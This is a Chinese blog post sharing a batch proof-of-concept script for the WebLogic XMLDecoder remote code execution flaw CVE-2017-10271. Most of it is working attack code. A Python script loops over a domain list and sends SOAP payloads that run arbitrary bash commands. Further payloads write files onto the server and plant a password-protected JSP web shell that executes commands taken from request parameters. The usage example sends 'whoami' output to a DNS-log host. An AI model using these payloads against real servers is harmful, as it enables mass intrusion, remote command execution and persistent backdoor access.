【Python】CVE-2017-10271批量自查POC(Weblogic RCE)

1、说明

看到大家对weblogic漏洞这么热衷,于是也看看这个漏洞的测试方式。

找了几个安全研究员的博客分析,经过几天的摸索大体清楚漏洞由XMLDecoder的反序列化产生。

漏洞最早4月份被发现,10月份的漏洞是由于官方修复不完善导致被绕过。

嗯,又学习了很多知识。

2、批量测试脚本

# -*- coding: UTF-8 -*-

import requests,sys,os

help = '''
eg:CVE-2017-10271.py "ping \`whoami\`.dnslog.cve"'''

domain_list = []                          # domain列表

#  CVE-2017-10271.py
#  authour:zzzhhh
#  2017-12-26
#  批量测试POC


# 验证函数
def poc_test(site,command):
    # HTTP头部信息
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
        'Content-Type': 'text/xml'
    }
    # Getshell
    Getshell = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/1000011.txt</string>
     <void method="println">
     <string>test hello!</string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
     </soapenv:Envelope>'''
	 
    # Getshell2
    Getshell2 = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
     <void method="println">
     <string><![CDATA[<%
        if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
     }
     %>]]></string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
     </soapenv:Envelope>'''
	
    # HTTP主体内容
    console = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java version="1.8.0_131" class="java.beans.XMLDecoder">
     <void class="java.lang.ProcessBuilder">
     <array class="java.lang.String" length="3">
     <void index="0">
     <string>/bin/bash</string>
     </void>
     <void index="1">
     <string>-c</string>
     </void>
     <void index="2">
     <string>%s</string>
     </void>
     </array>
     <void method="start"/></void>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
    </soapenv:Envelope>'''

    # URL拼接
    url = site + '/wls-wsat/CoordinatorPortType?wsdl'
    # 打印出执行的命令
    #print(command)
    # 异常处理,错误就提示,成功也提示
    try:
        req = requests.post(url, headers = headers, timeout=5, data = console % command)
        if('<faultcode>S:Server</faultcode><faultstring>0</faultstring>' in req.text):

            print site +  ' Success ! ' + command
            # Getshell  txt代码
            shell = requests.post(url, headers = headers, timeout=5, data = Getshell)
            # Getshell2   shell代码
            #shell = requests.post(url, headers = headers, timeout=5, data = Getshell2)
            print site +"/wls-wsat/1000011.txt"
            # http://xxx.xxx.xxx.xxx/wls-wsat/antiy.txt
            # http://xxx.xxx.xxx.xxx/wls-wsat/test.jsp?pwd=023&i=ls
            # 1000011.txt
        else:
            print site + ' Fail !'
    except:
        print site + ' Error ! '


#读取文件函数
def read_file(file_path):
    # 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
    if not os.path.exists(file_path):
        print 'Please confirm correct filepath !'
        sys.exit(0)
    else:
        with open(file_path, 'r') as source:
            for line in source:
                domain_list.append(line.rstrip('\r\n').rstrip('\n'))


if __name__ == '__main__':
    print(help)
    # 域名列表
    #file_str= raw_input('Input file ip.txt filepath eg:D:\\\\test.txt \n')
    file_str = "D:\\domain.txt"
    #poc_test("http://www.baidu.com", "whoami")
    # 执行命令
    #command = raw_input('Input command\n')
    command = "whoami"
    # 读取文件函数
    read_file(file_str)
    # 遍历域名组
    for domain in domain_list:
        poc_test(domain, command)

3、GETSHELL方式

确实需要上传文件测试危害,那么采用java.io.PrintWriter即可写入一个1000011.txt文件。

   # Getshell txt代码
   shell = requests.post(url, headers = headers, timeout=5, data = Getshell)
   # http://xxx.xxx.xxx.xxx/wls-wsat/1000011.txt

    # Getshell
    Getshell = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/1000011.txt</string>
     <void method="println">
     <string>test hello!</string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
     </soapenv:Envelope>'''

写入WEBSHELL的时候会遇到错误,在 XML 元素中,"<" 和 "&" 是非法的。"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 "" 结束:

   # Getshell 代码
   #shell = requests.post(url, headers = headers, timeout=5, data = Getshell2)
   # http://xxx.xxx.xxx.xxx/wls-wsat/test.jsp?pwd=023&i=ls

    # Getshell2
    Getshell2 = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
     <void method="println">
     <string><![CDATA[<%
        if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
     }
     %>]]></string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
     </soapenv:Envelope>'''

4、参考分析文档

Weblogic XMLDecoder RCE分析
http://xxlegend.com/2017/12/23/Weblogic XMLDecoder RCE分析/

利用xmldecoder执行命令
http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

反系列化利用
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

Weblogic 0day 复现
http://kylingit.com/blog/weblogic-0day-复现/index.html

POC

https://github.com/1337g/CVE-2017-10271/blob/0d9078fd532c65eb698933869db9b65ae9d66527/CVE-2017-10271.py

https://ob5vt1k7f.qnssl.com/weblogic.py

posted @ 2017-12-25 10:58  17bdw  阅读(1409)  评论(0编辑  收藏  举报